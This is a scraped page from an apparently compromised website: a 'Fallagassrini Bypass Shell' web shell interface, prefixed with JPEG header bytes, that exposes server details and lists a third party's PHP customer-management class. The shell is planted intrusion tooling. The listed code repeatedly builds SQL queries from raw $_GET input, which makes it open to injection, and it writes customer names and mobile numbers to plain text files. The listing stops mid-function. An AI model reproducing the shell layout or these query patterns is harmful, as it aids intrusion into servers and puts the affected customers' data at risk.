JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/admin/includes/classes/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/admin/includes/classes/class.CustomerReg.php

<?php
#####Class For Adding Content Management ######
class CustomerReg extends MysqlFns{
 
 /* class constructor */
 function CustomerReg(){
 $this->LDDisplayPath= $config['SiteGlobalPath']."class.CustomerReg.php";
  global $config;
  global $objSmarty;
  $this->MysqlFns();
  $this->Limit = 50;

   $SelQuerys	= 'SELECT max(customer_id) as last FROM `arka_customer_reg_master` WHERE `status`="1" Limit 0,1';
   $CusDetail	= $this->ExecuteQuery($SelQuerys, 'select');
   
   if($CusDetail[0]['last']!="")
   {
   $CusDetail[0]['customer_id'] = stripslashes($CusDetail[0]['last']);
  	$c_id1 = preg_replace("/[^0-9\.]/", '', $CusDetail[0]['customer_id']);
	$c_id1= $c_id1 + 1;
	$str = str_split($CusDetail[0]['last'], 3);
	$c_id = $str[0]. "" .$c_id1;
   }
   else
   {
   $c_id = "CUS10001";
   }
	$objSmarty->assign('c_id', $c_id);
/******************************************************************Company Name File write in Constructor**************************************/	
	$f1 = "company_name.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile = fopen($f1, "w") or die("Unable to open file!");
	$SelQuery1	= 'SELECT DISTINCT company_name FROM `arka_customer_reg_master` WHERE status="1"';
   	$CusList	= $this->ExecuteQuery($SelQuery1, 'select');
	if(!empty($CusList) && is_array($CusList))
			foreach($CusList as $key=>$value)
			{
				$CusList[$key]['CName'] = stripslashes($CusList[$key]['company_name']);
				$names = $names.$CusList[$key]['CName'].",";
			}
	fwrite($myfile, $names);
	fclose($myfile);
	
	
	
/******************************************************************User File write in Constructor**************************************/	
	$f_usr_dpt = "user_with_dept.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile_usr_dpt = fopen($f_usr_dpt, "w") or die("Unable to open file!");
	$SelQuery_usr_mstr	= 'SELECT DISTINCT username,department FROM `arka_user_master` WHERE user_status="1"';
   	$UserList	= $this->ExecuteQuery($SelQuery_usr_mstr, 'select');
	if(!empty($UserList) && is_array($UserList))
			foreach($UserList as $key=>$value)
			{
				$UserList[$key]['username'] = stripslashes($UserList[$key]['username']);
				$names_user = $names_user.$UserList[$key]['username']." [ ".$UserList[$key]['department']." ] ".",";
			}
	fwrite($myfile_usr_dpt, $names_user);
	fclose($myfile_usr_dpt);		

/******************************************************************Mobile File write in Constructor**************************************/	
	$f2 = "mobile.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile2 = fopen($f2, "w") or die("Unable to open file!");
	$SelQuery2	= 'SELECT DISTINCT mobile,mobile2,mobile3,mobile4,mobile5 FROM `arka_customer_reg_master` WHERE status="1"';
   	$MobList	= $this->ExecuteQuery($SelQuery2, 'select');
	if(!empty($MobList) && is_array($MobList))
			foreach($MobList as $key=>$value)
			{
				$MobList[$key]['Mobile'] = stripslashes($MobList[$key]['mobile']);
				$MobList[$key]['Mobile2'] = stripslashes($MobList[$key]['mobile2']);
				$MobList[$key]['Mobile3'] = stripslashes($MobList[$key]['mobile3']);
				$MobList[$key]['Mobile4'] = stripslashes($MobList[$key]['mobile4']);
				$MobList[$key]['Mobile5'] = stripslashes($MobList[$key]['mobile5']);
				$mobile = $mobile.$MobList[$key]['Mobile'].",";
						if($MobList[$key]['Mobile2']!="" || $MobList[$key]['Mobile3']!="" || $MobList[$key]['Mobile4']!="" || $MobList[$key]['Mobile5']!="")
						{
								if($MobList[$key]['Mobile2']!="")
								{
								$mobile = $mobile.$MobList[$key]['Mobile2'].",";
								}
								if($MobList[$key]['Mobile3']!="")
								{
								$mobile = $mobile.$MobList[$key]['Mobile3'].",";
								}
								if($MobList[$key]['Mobile4']!="")
								{
								$mobile = $mobile.$MobList[$key]['Mobile4'].",";
								}
								if($MobList[$key]['Mobile5']!="")
								{
								$mobile = $mobile.$MobList[$key]['Mobile5'].",";
								}
						}		
				
				
			}
	fwrite($myfile2, $mobile);
	fclose($myfile2);
/******************************************************************City File write in Constructor**************************************/	
	$f3 = "city.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile3 = fopen($f3, "w") or die("Unable to open file!");
	$SelQuery3	= 'SELECT DISTINCT city FROM `arka_customer_reg_master` WHERE status="1"';
   	$CityList	= $this->ExecuteQuery($SelQuery3, 'select');
	if(!empty($CityList) && is_array($CityList))
			foreach($CityList as $key=>$value)
			{
				$CityList[$key]['City'] = stripslashes($CityList[$key]['city']);
				$city = $city.$CityList[$key]['City'].",";
			}
	fwrite($myfile3, $city);
	fclose($myfile3);

/******************************************************************Pincode File write in Constructor**************************************/	
	$f4 = "pincode.txt";
	$uploadpath = $config['QuotePath'];
	$myfile4 = fopen($f4, "w") or die("Unable to open file!");
	$SelQuery4	= 'SELECT DISTINCT pincode FROM `arka_customer_reg_master` WHERE status="1"';
   	$PinList	= $this->ExecuteQuery($SelQuery4, 'select');
	if(!empty($PinList) && is_array($PinList))
			foreach($PinList as $key=>$value)
			{
				$PinList[$key]['Pincode'] = stripslashes($PinList[$key]['pincode']);
				$pincode = $pincode.$PinList[$key]['Pincode'].",";
			}
	fwrite($myfile4, $pincode);
	fclose($myfile4);

/******************************************************************phone File write in Constructor**************************************/	
	$f5 = "phone.txt";
	$uploadpath = $config['QuotePath'];
	$myfile5 = fopen($f5, "w") or die("Unable to open file!");
	$SelQuery5	= 'SELECT DISTINCT phone FROM `arka_customer_reg_master` WHERE status="1"';
   	$PhList	= $this->ExecuteQuery($SelQuery5, 'select');
	if(!empty($PhList) && is_array($PhList))
			foreach($PhList as $key=>$value)
			{
				$PhList[$key]['Phone'] = stripslashes($PhList[$key]['phone']);
				$phone = $phone.$PhList[$key]['Phone'].",";
			}
	fwrite($myfile5, $phone);
	fclose($myfile5);
 
 	
/******************************************************************Area File write in Constructor**************************************/	
	$f6 = "area.txt";
	$uploadpath = $config['QuotePath'];
	$myfile6 = fopen($f6, "w") or die("Unable to open file!");
	$SelQuery6	= 'SELECT DISTINCT area FROM `arka_customer_reg_master` WHERE area <>"" AND status="1"';
   	$AreaList	= $this->ExecuteQuery($SelQuery6, 'select');
	if(!empty($AreaList) && is_array($AreaList))
			foreach($AreaList as $key=>$value)
			{
				$AreaList[$key]['Area'] = stripslashes($AreaList[$key]['area']);
				$area = $area.$AreaList[$key]['Area'].",";
			}
	fwrite($myfile6, $area);
	fclose($myfile6);
	
/******************************************************************Area File write in Constructor**************************************/	
	$f7 = "customer_name.txt";
	$uploadpath = $config['QuotePath'];
	$myfile7 = fopen($f7, "w") or die("Unable to open file!");
	$SelQuery7	= 'SELECT name_of_caller FROM `arka_customer_reg_master` WHERE status="1"';
   	$CusNameList	= $this->ExecuteQuery($SelQuery7, 'select');
	if(!empty($CusNameList) && is_array($CusNameList))
			foreach($CusNameList as $key=>$value)
			{
				$CusNameList[$key]['CallerName'] = stripslashes($CusNameList[$key]['name_of_caller']);
				$caller = $caller.$CusNameList[$key]['CallerName'].",";
			}
	fwrite($myfile7, $caller);
	fclose($myfile7);

/******************************************************************Company Name and Customer Name File write in Constructor**************************************	
	$f8 = "comp_cus_name.txt";
	$uploadpath = $config['QuotePath'];
	//chmod($uploadpath.$f1,"777");
	$myfile8 = fopen($f8, "w") or die("Unable to open file!");
	$SelQuery8	= 'SELECT company_name,name_of_caller FROM `arka_customer_reg_master` WHERE status="1"';
   	$MixedList	= $this->ExecuteQuery($SelQuery8, 'select');
	if(!empty($MixedList) && is_array($MixedList))
			foreach($MixedList as $key=>$value)
			{
				$MixedList[$key]['COName'] = stripslashes($MixedList[$key]['company_name']);
				$MixedList[$key]['CUName'] = stripslashes($MixedList[$key]['name_of_caller']);
				$mixed = $mixed.$MixedList[$key]['COName'].",".$MixedList[$key]['CUName'].",";
			}
	fwrite($myfile8, $mixed);
	fclose($myfile8);
*/




 }
 
 
 function GetPending($objArray='')
 {
 global $objSmarty;
 	//$customerid =$_GET['cust_id'];
	
//	$SQuery	= 'SELECT DISTINCT arka_customer_remarks_details.customer_name as cname, arka_customer_remarks_details.sl_no as master_id,arka_remarks_details.customer_name as cusname,arka_remarks_details.sl_no as det_id FROM `arka_customer_remarks_details`,`arka_remarks_details` WHERE arka_remarks_details.order_status="Pending" AND arka_remarks_details.order_status=arka_customer_remarks_details.order_status AND arka_remarks_details.customer_id="'.$_GET['customer_id'].'" AND arka_remarks_details.customer_id= arka_customer_remarks_details.customer_id';
	$SQuery	= 'SELECT arka_customer_remarks_details.snooze_date as snooze_date, arka_customer_remarks_details.customer_name as cname, arka_customer_remarks_details.sl_no as master_id FROM `arka_customer_remarks_details` WHERE arka_customer_remarks_details.order_status="Pending" AND arka_customer_remarks_details.customer_id="'.$_GET['customer_id'].'" ';
   	$MasPenList	= $this->ExecuteQuery($SQuery, 'select');
	if(!empty($MasPenList) && is_array($MasPenList))
			{
			$objSmarty->assign('MasPenList', $MasPenList);
		//	return $MasPenList;
			}
			$SQuery1	= 'SELECT arka_remarks_details.customer_name as cusname, arka_remarks_details.sl_no as det_id FROM `arka_remarks_details` WHERE arka_remarks_details.order_status="Pending" AND arka_remarks_details.customer_id="'.$_GET['customer_id'].'" ';
   	$DetPenList	= $this->ExecuteQuery($SQuery1, 'select');
	if(!empty($DetPenList) && is_array($DetPenList))
			{
			$objSmarty->assign('DetPenList', $DetPenList);
		//	return $MasPenList;
			}
 }
  /******************************************************************Create FCK Editor**************************************/
 function CreateFCKeditor($value = ''){
  global $config, $objSmarty;

  include($config['FckEditorPath'] . '/fckeditor.php');
  $sBasePath = $config['SiteFCKEditorBasePath'];

  $oFCKeditor 			= new FCKeditor('content') ;
  $oFCKeditor->BasePath	= $sBasePath ;
  $oFCKeditor->Width		= 600 ;
  $oFCKeditor->Height		= 450 ;
  $oFCKeditor->Value		= $value;
  $objSmarty->assign('Editor', $oFCKeditor->Create());
 }
 /*************************************************************************** Get Customer View Content list ************/
 	function GetCustomerView($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE customer_id ="'.$_GET['cust_id'].'"' ;
		//echo $SelQuery;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		
		$objSmarty->assign("TList1",$_GET['cust_id']);
		 if(!empty($LDList) && is_array($LDList))
		{
			$objSmarty->assign("LDList2",$LDList);
			
            // Viewed Customers of today //			
					
			
						$SelQuery_viewed_cstmr = 'SELECT * FROM `arka_viewed_customers` WHERE `status`="1" AND `viewed_cstmr_id`="'.trim(addslashes($_GET['cust_id'])).'" AND `user_id`="'.trim(addslashes($_SESSION['User_ID'])).'" AND `viewed_date`=CURDATE()' ;
						$LDList2		= $this->ExecuteQuery($SelQuery_viewed_cstmr, "select");	
						
						if(!empty($LDList2) && is_array($LDList2))	
						{	
						return false;	
						}
						else
						{	
			
						$InsQuery = 'INSERT INTO `arka_viewed_customers`(`user_id`, `user_name`, `viewed_cstmr_id`, `viewed_cstmr_name`, `viewed_cmpny_name`, `viewed_date`, `viewed_time`,`status`) VALUES("'.trim(addslashes($_SESSION['User_ID'])).'","'.trim(addslashes($_SESSION['UserName'])).'","'.trim(addslashes($_GET['cust_id'])).'","'.trim(addslashes($LDList[0]['name_of_caller'])).'","'.trim(addslashes($LDList[0]['company_name'])).'",CURDATE(),CURTIME(),"1")';
							 $this->ExecuteQuery($InsQuery, 'insert');	
	                    }
	 
	    // Viewed Customers of today //	
			
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		
	}	
	
/************************************************************************************** Get CustomerDetails Content ***************************/
 function GetCustomerDetails($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('s_value',$_GET['search_value']);
				if(strpos($_GET['search_value'],"[",0)>0)
		{
		$start = strpos($_GET['search_value'],"[",0);
		$end = strpos($_GET['search_value'],"]",$start);
		$diff = $end-$start;
		$split1 = str_split($_GET['search_value'],$start);
		$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
		
		$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" AND status="1" LIMIT 0,1' ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		}
		else
		{

	$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
		$LDList		= $this->ExecuteQuery($SelQuery, "select");
		$total_records = count($LDList);
		$record_per_page = $this->Limit;
		}
		$objSmarty->assign("TList1",$_GET['cust_id']);
		 if(!empty($LDList) && is_array($LDList))
		{

			$objSmarty->assign("LDList2",$LDList);
			$objSmarty->assign("LDDisp", $this->LDDisplayPath);
			return $LDList2;
		}
		else{
			return false;
		}
		
	}	
	
/**************************************************************************** Get the Customer Contacts list *******************************/
 	function GetContactLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQueryy = 'SELECT * FROM `arka_customer_contact_details` WHERE customer_id ="'.$_GET['cust_id'].'"' ;
		$CList		= $this->ExecuteQuery($SelQueryy, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
							$SelQueryy = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" LIMIT 0,1' ;
							$CRecord		= $this->ExecuteQuery($SelQueryy, "select");
							$total_records = count($CRecord);
							$record_per_page = $this->Limit;
							
							
								if(!empty($CRecord) && is_array($CRecord))
								{
												foreach($CRecord as $key=>$value)
												{
												$CRecord[$key]['CId'] = stripslashes($CRecord[$key]['customer_id']);
												}
										$SelQueryy = 'SELECT * FROM `arka_customer_contact_details` WHERE customer_id ="'.$CRecord[$key]['CId'].'"' ;
										$CList		= $this->ExecuteQuery($SelQueryy, "select");
								}
							
							
							}	
							else
							{	

		
										 	$SelQueryy = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" LIMIT 0,1' ;
											$CRecord		= $this->ExecuteQuery($SelQueryy, "select");
											if(!empty($CRecord) && is_array($CRecord))
												foreach($CRecord as $key=>$value)
												{
												$CRecord[$key]['CId'] = stripslashes($CRecord[$key]['customer_id']);
												}
												$SelQueryy = 'SELECT * FROM `arka_customer_contact_details` WHERE customer_id ="'.$CRecord[$key]['CId'].'"' ;
												$CList		= $this->ExecuteQuery($SelQueryy, "select");
		                     }
		$total_records = count($CList);
		$record_per_page = $this->Limit;
		}
	 
			$listing_split = new MsplitPageResults($SelQueryy, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  
  		{
   $objSmarty->assign('Contact_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Contact_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$ConList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
			if(!empty($ConList) && is_array($ConList))
			foreach($ConList as $key=>$value)
			{
				$ConList[$key]['Cid'] = stripslashes($ConList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('ConList', $ConList);
			return $ConList;
	}	
 /********************************************************************************* Get the Customer Address list ********************************/
 	function GetAddressLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQuerys = 'SELECT * FROM `arka_customer_address_details` WHERE customer_id ="'.$_GET['cust_id'].'"' ;
		$AList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 			
		
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
							$ARecord		= $this->ExecuteQuery($SelQuery, "select");
		
							}
							else
							{
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
							$ARecord		= $this->ExecuteQuery($SelQuery, "select");
							
							}
		if(!empty($ARecord) && is_array($ARecord))
			foreach($ARecord as $key=>$value)
			{
			$ARecord[$key]['CId'] = stripslashes($ARecord[$key]['customer_id']);
			}
			$SelQuerys = 'SELECT * FROM `arka_customer_address_details` WHERE customer_id ="'.$ARecord[$key]['CId'].'"' ;
			$CList		= $this->ExecuteQuery($SelQuerys, "select");
		}
		$total_records = count($AList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys, $this->Limit);
   if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Address_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Address_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
   $AddrList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($AddrList) && is_array($AddrList))
			foreach($AddrList as $key=>$value)
			{
				$AddrList[$key]['Cid'] = stripslashes($AddrList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('AddrList', $AddrList);
			return $AddrList;
	}

/************************************************************************** Get the Customer Profoma list **********************************************/
 	function GetProfomaLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQuerys2 = 'SELECT * FROM `arka_profoma_mstr` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$ProfList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
$QRecord		= $this->ExecuteQuery($SelQuery, "select");
		                    }
							else
							{
		
		
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
							$QRecord		= $this->ExecuteQuery($SelQuery, "select");
							}
		if(!empty($QRecord) && is_array($QRecord))
			foreach($QRecord as $key=>$value)
			{
			$QRecord[$key]['CId'] = stripslashes($QRecord[$key]['customer_id']);
			}
			$SelQuerys2 = 'SELECT * FROM `arka_profoma_mstr` WHERE customer_id ="'.$QRecord[$key]['CId'].'" AND status="1"' ;
			$ProfList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		$total_records = count($ProfList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Profoma_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Profoma_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$ProfomaList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($ProfomaList) && is_array($ProfomaList))
			foreach($ProfomaList as $key=>$value)
			{
				$ProfomaList[$key]['Cid'] = stripslashes($ProfomaList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('ProfomaList', $ProfomaList);
			return $ProfomaList;
	}
/************************************************************************** Get the Customer Invoice list **********************************************/
 	function GetInvoiceLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQuerys2 = 'SELECT * FROM `arka_profoma_mstr` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$InvList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
$QRecord		= $this->ExecuteQuery($SelQuery, "select");
		                    }
							else
							{
		
		
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
							$QRecord		= $this->ExecuteQuery($SelQuery, "select");
							}
		if(!empty($QRecord) && is_array($QRecord))
			foreach($QRecord as $key=>$value)
			{
			$QRecord[$key]['CId'] = stripslashes($QRecord[$key]['customer_id']);
			}
			$SelQuerys2 = 'SELECT * FROM `arka_profoma_mstr` WHERE customer_id ="'.$QRecord[$key]['CId'].'" AND status="1"' ;
			$InvList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		$total_records = count($InvList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Invoice_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Invoice_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$InvoiceList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($InvoiceList) && is_array($InvoiceList))
			foreach($InvoiceList as $key=>$value)
			{
				$InvoiceList[$key]['Cid'] = stripslashes($InvoiceList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('InvoiceList', $InvoiceList);
			return $InvoiceList;
	}
	

/************************************************************************** Get the Customer Quote list **********************************************/
 	function GetQuoteLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQuerys2 = 'SELECT * FROM `arka_product_quote` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$QList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
							if(strpos($_GET['search_value'],"[",0)>0)
							{
							
							$start = strpos($_GET['search_value'],"[",0);
							$end = strpos($_GET['search_value'],"]",$start);
							$diff = $end-$start;
							$split1 = str_split($_GET['search_value'],$start);
							$split2 = substr($_GET['search_value'], $start+1, $diff-1); 
							
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$split1[0].'%" AND company_name like "%'.$split2.'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
$QRecord		= $this->ExecuteQuery($SelQuery, "select");
		                    }
							else
							{
		
		
							$SelQuery = 'SELECT * FROM `arka_customer_reg_master` WHERE name_of_caller like "%'.$_GET['search_value'].'%" OR customer_id like "%'.$_GET['search_value'].'%" OR mobile = "'.$_GET['search_value'].'" OR company_name like "%'.$_GET['search_value'].'%" OR email like "%'.$_GET['search_value'].'%" AND status="1" LIMIT 0,1' ;
							$QRecord		= $this->ExecuteQuery($SelQuery, "select");
							}
		if(!empty($QRecord) && is_array($QRecord))
			foreach($QRecord as $key=>$value)
			{
			$QRecord[$key]['CId'] = stripslashes($QRecord[$key]['customer_id']);
			}
			$SelQuerys2 = 'SELECT * FROM `arka_product_quote` WHERE customer_id ="'.$QRecord[$key]['CId'].'" AND status="1"' ;
			$QList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		$total_records = count($QList);
		$record_per_page = $this->Limit;
	
			$listing_split = new MsplitPageResults($SelQuerys2, $this->Limit);
  if ( ($listing_split->number_of_rows > 0) )  {
   $objSmarty->assign('Quote_List_LinkPage',$listing_split->display_count(TEXT_DISPLAY_NUMBER_OF_RESULT));
   $objSmarty->assign('Quote_List_PerPageNavigation',TEXT_RESULT_PAGE1 . ' ' . $listing_split->display_links($this->Limit, get_all_get_params(array('page', 'info', 'x', 'y')))); 
			$QuoteList = $this->ExecuteQuery($listing_split->sql_query, 'selectassoc');
		}
		if(!empty($QuoteList) && is_array($QuoteList))
			foreach($QuoteList as $key=>$value)
			{
				$QuoteList[$key]['Cid'] = stripslashes($QuoteList[$key]['customer_id']);
			}		
			$objSmarty->assign('i', $listing_split->i);
			$objSmarty->assign('QuoteList', $QuoteList);
			return $QuoteList;
	}

/************************************************************************** Get the Customer Quote list **********************************************/
 	function GetServiceQuoteLists($objArray='')  {
		global $objSmarty;
		$objSmarty->assign('c_id',$_GET['cust_id']);
		$objSmarty->assign('Svalue',$_GET['search_value']);
		if(isset($_GET['cust_id']))
		{
		$SelQuerys2 = 'SELECT * FROM `arka_service_reg_master` WHERE customer_id ="'.$_GET['cust_id'].'" AND status="1"' ;
		$QList		= $this->ExecuteQuery($SelQuerys2, "select");
		}
		elseif(isset($_GET['search_value']))
		{
		
		
									if(strpos($_GET['search_value'],"[",0)>0)
							{
							
									$start = strpos($_GET['search_value'],"[",0);
